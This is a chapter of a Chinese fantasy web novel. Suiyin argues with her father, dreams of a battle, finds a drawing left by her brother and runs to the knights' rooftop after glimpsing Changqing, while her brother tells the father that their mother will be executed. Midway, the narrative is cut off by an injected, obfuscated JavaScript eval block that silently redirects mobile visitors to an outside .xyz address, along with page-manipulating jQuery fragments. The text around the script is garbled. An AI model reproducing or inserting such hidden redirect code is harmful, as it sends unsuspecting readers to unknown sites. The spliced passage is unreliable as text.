22. 错过

胆小的孩子们总是喜欢抱团取暖,将头埋在对方颈间,于他们而言,只要看不见,就是不存在。


瞎子看不见别人的好,哑巴道不出爱。


……


买完甜品回去,碎银总感觉心里空落落的。


她明明不喜欢他,是她赶他走的,一切都是她自作自受。


碎银前脚迈进骑士团,后脚电话便急促的响起了。


她爸打来的,一百多条未接来电。


犹豫过后,碎银还是按下了接听键。


“说”


“……我以为你死了呢”


“……”


衍段总是这样,从正面不关心她。


衍段:“……你去哪了”


碎银不是很想搭理自己这个烦人爹,而且她记得她说过要去东街。


衍段:“……还活着就赶紧回家”


碎银:“我还有事儿,你自己出去走走”


……


碎银当然知道她爸半身瘫痪的痛处,所以她要拎准了往死里扎。


碎银:“哦,不好意思,忘记了,爸爸”


很奇怪,自从妈妈死后衍段就很少生气了。


衍段:“大小姐算我求求你了行吗?”


碎银直接把电话挂断了。


木贻:“……你家里的事不管了吗?”


碎银:“我爸又没死,让他干就行”


碎银感觉自己亲缘很浅,有血缘关系的人中,也只有碎金会正面陪着她了。


可她又没能抓住为数不多的机会。


她不想再处于被动状态了。


……


进到办公室,映入眼帘的便是溃狐的鼻子一抽一抽的,眼眶红红的。


又得哄。


碎银左手牵起溃狐,右手拿着碎金的小狐狸娃娃:“走了”


溃狐抱着碎银的胳膊,抽搭搭的,好不可怜。


碎银觉着把事情全丢给自己那个残废爹也不太好,思来想去还是准备回去帮忙分担一些本该是自己的工作。


碎银:“我们两个先回去了,家里还有事呢”


打了声招呼,在黄昏时分告别。


……


家宅


碎银安排好溃狐后,径直走向衍段屋里。


门也不敲直接踹开。


衍段:“你个熊孩子能不能有点礼貌?”


碎银:“操自己妹妹的人你还有脸说我了?”


衍段皱起了眉头:“……你不明白,我们……”


碎银没给衍段继续解释的机会,果断拿出碎金的娃娃。


碎银:“有个问题,喜神悲鬼……是谁啊”


碎银仔细的观察着衍段的举动。


衍段鸡皮疙瘩起来了:“……呵,我哪有机会见到啊”


碎银放下手,打量着衍段屋内的陈设。


悲喜神像放在一起。


碎银迫切的想知道一切,当然,兵不厌诈。


碎银:“我又看见小央了”


衍段背对着她,什么也不说。


碎银:“喜神悲鬼的神像不是不能放在一起吗?”


……


碎银:“……我和小央说我想他了”


当然是在撒谎。


衍段转过身。


“哭哭呢”


“扔了,不想要了”


……


碎银:“祝夷楼看见我了”


衍段:“你不用在这诈我,我不知道喜神悲鬼”


碎银闭了嘴,再问下去也没意思了。


碎银:“没关系,我肯定还会再见到小央的,我问他就好了”


好吧,碎银确实没有那个骗人的脑子。


……


碎银回到自己房间关上门,将明月山给她的那束鸢尾花插进花瓶里,常青给她的泥塑摆在桌面上。


原本常青也会和她一起回家的,十二岁到现在几乎每时每刻都在一起。


碎银看向窗外,那是去看大海的路。


好久没去了。


抽屉里有个被放倒的相框,那里有着本该被遗忘的人。


戎狸和小央。


(戎狸是她妈)


唯一的一张全家福,碎金牵着她的手笑得灿烂,身后那对怨偶只有戎狸虚伪的笑着。


疯病是会遗传的。


碎银抱着相片,只是看着。


家宅大概□□层楼,碎银住在顶楼最大的房间,窗户正对着灯火阑珊的城市中心。


天渐渐黑了,风儿呼啸,原本关闭的窗户从外面打开。


青色的身影为趴在桌子上睡着的女生盖上自己的衣服,悄悄的离开了。


眷属要负责照顾主子的。


常青确认好窗户关死后离开了。


千防万防,家贼难防。


碎金倒吊着,戳了戳碎银,没醒。


笑笑在他头上。


“……你怎么不要哭哭了”


声音很轻,像留不住的风一样。


窗外灯火通明,映照在两人脸上。


哭哭被放在了碎银手边,下面压着一个纸钱。碎金拿着自己的娃娃,在墙边蹲了好久才轻轻的离开。


漆黑的房间再次归于孤独。


她又做梦了。


这是她做过最清醒的梦,梦中人的人脸终于不是模糊的了。


她以旁观者的视角进入梦中,但并没有声音。


梦里,死尸遍布。


她又看见了“吊死鬼碎银”,但这次“吊死鬼”身边有了很多熟悉的面孔。


碎金,常青,可可,百福,母神……


值得一提的是,莫夏也在,但这个莫夏的头发是全白的,眼睛也都是金色的。


母神手中的长鞭挥向他们,百福和莫夏在最前面支撑着结界,“吊死鬼”拽着碎金,向远处跑去,常青在两人前方扫清障碍。


碎金往莫夏和百福的方向哭的好可怜,碎银的记忆中,他好像从来没这样狼狈过。


……


轰鸣声阵阵,最后一幕大概是母神离开了,能站起来的人里她只看见了目光呆滞、额头流着血的碎金。


……


碎银睁开眼,没想到自己竟然趴桌子上睡着了。


一抬头就看见了哭哭,碎银还是趴着,拿起它,熟悉的薄荷香。


起身,身上的衣服滑落


“常青……?”


碎银最认得这件衣服了,十五年里常青总穿这件,尤其是今年。


她后悔了,她舍不得任何人。


纸钱上面画着画,碎银拿起来,努力辨别着画中的火柴人。


她自己、碎金、莫夏、常青、可可、百福,还有两个人,一个又黄又黑头发,一个浅棕色头发,发尾发红,两人男女看不太出来,她不认识。


她在刚才的梦中好像见过那两人的身影。


八个人牵着手,都在咧着嘴笑。


虽说不知道什么意思,但碎银还是把它放进了抽屉里。


“他来过,娃娃也拿走了吧”


碎银转头看向床边,娃娃消失了。


没事干,继续看着窗外,看车水马龙,看岁月静好。


碎银看向骑士团的高楼,这几年的成员愈发多了,骑士团也愈发忙了,一切都在想好的地方发展。


从一楼看到天台,本没什么稀奇的,可平时天台的大门是锁着的,进不去人。


碎银猛的站起身,椅子都倒在了地上。


随风飘动的浅紫色的长发在黑夜中异常显眼,那双红色的长角生生增加了辨识度。


“常青?!”


激动、欣喜、恐惧,碎银披上常青的外套夺门而出。


碎银头一次庆幸自己简单的头脑在她拼命的时候不会想到那么多;庆幸自己发达的四肢跑起时的迅速。


路过衍段的房间时,她犹豫了一下。


要不要说一声?


算了吧


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847210|172131||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,浪费时间,自己都二十七了。


……


衍段屋子的窗户刚好看得见家宅的大门口处,他看着碎银跑了出去。


当然,是被红绳绑在了窗边。


碎金贴在玻璃上,按着衍段的头。


碎金:“嗯--如果我和小鸢没有悲喜的身份在的话,的确会是你们两个的孩子诶”


衍段的脸与冰凉的玻璃挤压,想不出逃离的办法。


碎金看着碎银越跑越远便松开了按着衍段的手。


碎金一脸平静:“妈妈要被祝夷楼处死了,魂飞魄散的那种”


衍段瞪大了双眼。


戎狸是他血脉相连的爱人。


他不顾颜面的用手撑起身体爬向碎金。


衍段:“你……你在骗我,你在骗我对不对……怎么会”


碎金在铺着雾的玻璃上描绘着碎银去骑士团的路线,撑着脑袋回答:“没必要啊”


衍段还想着等自己足够怨恨的时候死去就能去见她了。


碎金:“哈哈,好好想想吧,是站在祝夷楼那边还是站在小鸢这边”


衍段:“她干什么了?!为什么要处死她!”


碎金拽着衍段的衣领讲他提起。


“你说呢?逆转时间导致这个世界崩坏,你敢说你不知道这个世界那个老不死的跟她相好创造的?”


衍段沉默了。


碎金嗤笑一声继续说道:“你们两个真能干啊,没经过时神允许去私自强行逆转时间,那是绝对的混沌,她不死谁死?我也救不了你们。更何况混沌增强的是我的力量,我的能力一旦增强对那个老不死的来说就是死局了,桃花源代替这里会成为早晚的事……维护了三百万年的世界说被代替就被代替,她甘心吗?”


碎金松开手将衍段摔在地上,打开窗准备离开。


碎金:“请神娃娃有四位呢,我会让小鸢成为其中一位,完成她应尽的责任后在杀了她,她还有大把的时间来‘孝敬您’哦”


衍段根本听不进去,他现在整个脑袋都晕乎乎的。


怎么会死?


他明明替戎狸承受了逆转时间下的因果代价,怎么还会被发现?


……


碎银挤过熙熙攘攘的街道,大喘着气奔向骑士团大门。


她感觉过了好久好久,一路上不停的像天台看去,但那里早已没了人影。


碎银不信邪,她偏要去看看,她不信常青真的会离开她。


身体撞上玻璃门把它推开,门口的风铃响声清脆,声音在嘈杂的环境里依旧清晰可闻。


碎银在等电梯的功夫掏出手机给尉蓝打电话,手控制不住的颤抖,按了好几次都没按对。


嘟嘟——


“喂……”


跑了好久,碎银说话声断断续续,:“钥匙!!……天台!天台钥匙……我,我要用”


“啊?为啥?……”


“别他妈问了!有急事儿!我有用!!”


“我靠急啥啊,给你给你”


碎银乘上电梯,还好尉蓝的办公室就在顶楼,不用再等一次电梯。


撞开办公室的门,碎银从尉蓝手中枪过钥匙就往外冲。


尉蓝:“哎……不是”


跑没影了。


新目子:“内个……她,她穿的是不是,常青的外套啊……”


北冥鱼:“好像是……而且她那个头饰不是扔了吗?”


木贻:“那咱们要跟上去吗?”


尉蓝看着天台的监控一脸疑惑。


尉蓝:“她去天台干嘛?这也没人啊。就是天台的监控怎么这么模糊?”


尉乐:“信号不好呗,一会应该就好了”


简希沧:“……那,要不要跟上去”


尉蓝:“……也行”


尉蓝抬头看看让谁跟上去,只听“咔哒”一声,门被反锁了。


一个出乎意料的人靠着门。


莫夏:“算了吧”